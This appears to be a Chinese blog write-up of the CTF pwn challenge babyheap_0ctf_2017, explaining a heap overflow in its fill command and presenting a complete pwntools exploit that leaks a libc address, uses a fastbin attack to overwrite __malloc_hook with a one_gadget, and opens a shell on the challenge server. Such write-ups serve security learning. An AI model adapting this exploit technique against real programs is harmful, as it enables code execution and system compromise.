babyheap_0ctf_2017

回家之后这么热居然感冒了,在床上躺了一天Orz

程序功能

1
2
3
4
1.alloc
2.fill
3.free
4.dump

alloc时,程序会分配大小为24个字节的存储结构:

1
2
3
inuse	记录该chunk是否处于使用状态
size 记录该chunk大小
*ptr 记录alloc出的chunk的地址

程序漏洞

fill时,读入的size并非alloc记录的size,而是另外输入,因此产生了堆溢出。

漏洞利用

申请四块chunk。

1
Add(0x10)
Add(0x10)
Add(0x80)
Add(0x10)

修改第二块chunksize0x40,并修改第三块chunksize,标记上一块chunk处于使用状态。Free第二块chunk后申请大小为0x30chunk,第三块chunkhead部分与fdbk被包含进第二块chunkcontent部分。

1
2
Fill(0,0x20,p64(0)*3+p64(0x41))
Fill(2,0x20,p64(0)*3+p64(0x71))
Free(1) Add(0x30)

Free第三块chunk,其fdbkmain_arena+88dump第二块chunk得到此地址,leaklibc基址。由于分配chunk时使用的是calloc,第三块chunkhead在第二次申请第二块chunk时被置零,需要先修复才能Free

1
2
Fill(1,0x20,p64(0)*3+p64(0x91))
Free(2)
Dump(1)
Dump(1) sh.recvuntil('\x91'+'\x00'*7) leak=u64(sh.recv(6).ljust(8,'\x00')) malloc_hook=leak-88-0x10 print hex(malloc_hook) libc_base=leak-0x3C4B20-88 one_gadget=libc_base+onegadget[1] fakefd=malloc_hook-0x23

之后在malloc_hook上方错位构造大小为0x7fchunk,通过Fastbin attack获取该chunk,修改malloc_hook

EXP

1
#coding=UTF-8
from pwn import *
sh=remote("buuoj.cn",20001)
#sh=process('/media/psf/Home/Desktop/Challenges/BUUpwn/babyheap_0ctf_2017.dms',env={"LD_load":'./x64_libc.so.6'})
libc=ELF("./x64_libc.so.6")
onegadget=[0x45216,0x4526a,0xf02a4,0xf1147]
def Add(Size):
	sh.recvuntil("Command: ")
	sh.sendline("1")
	sh.recvuntil("Size: ")
	sh.sendline(str(int(Size)))
def Fill(Index,Size,Content):
	sh.recvuntil("Command: ")
	sh.sendline("2")
	sh.recvuntil("Index: ")
	sh.sendline(str(Index))
	sh.recvuntil("Size: ")
	sh.sendline(str(int(Size)))
	sh.recvuntil("Content: ")	
	sh.send(Content)
def Free(Index):
	sh.recvuntil("Command: ")
	sh.sendline("3")
	sh.recvuntil("Index: ")
	sh.sendline(str(Index))
def Dump(Index):
	sh.recvuntil("Command: ")
	sh.sendline("4")
	sh.recvuntil("Index: ")
	sh.sendline(str(Index))
Add(0x10)
Add(0x10)
Add(0x80)
Add(0x10)
Fill(0,0x20,p64(0)*3+p64(0x41))
Fill(2,0x20,p64(0)*3+p64(0x71))
Free(1)
Add(0x30)
Fill(1,0x20,p64(0)*3+p64(0x91))
Free(2)
Dump(1)
sh.recvuntil('\x91'+'\x00'*7)
leak=u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook=leak-88-0x10
print hex(malloc_hook)
libc_base=leak-0x3C4B20-88
one_gadget=libc_base+onegadget[1]
fakefd=malloc_hook-0x23
Add(0x60)
Free(2)
Fill(1,0x28,p64(0)*3+p64(0x71)+p64(fakefd))
Add(0x60)
Add(0x60)
Fill(4,0x13+8,'a'*0x13+p64(one_gadget))
Add(0x10)
sh.interactive()
文章目录
  1. 1. 程序功能
  2. 2. 程序漏洞
  3. 3. 漏洞利用
  4. 4. EXP
|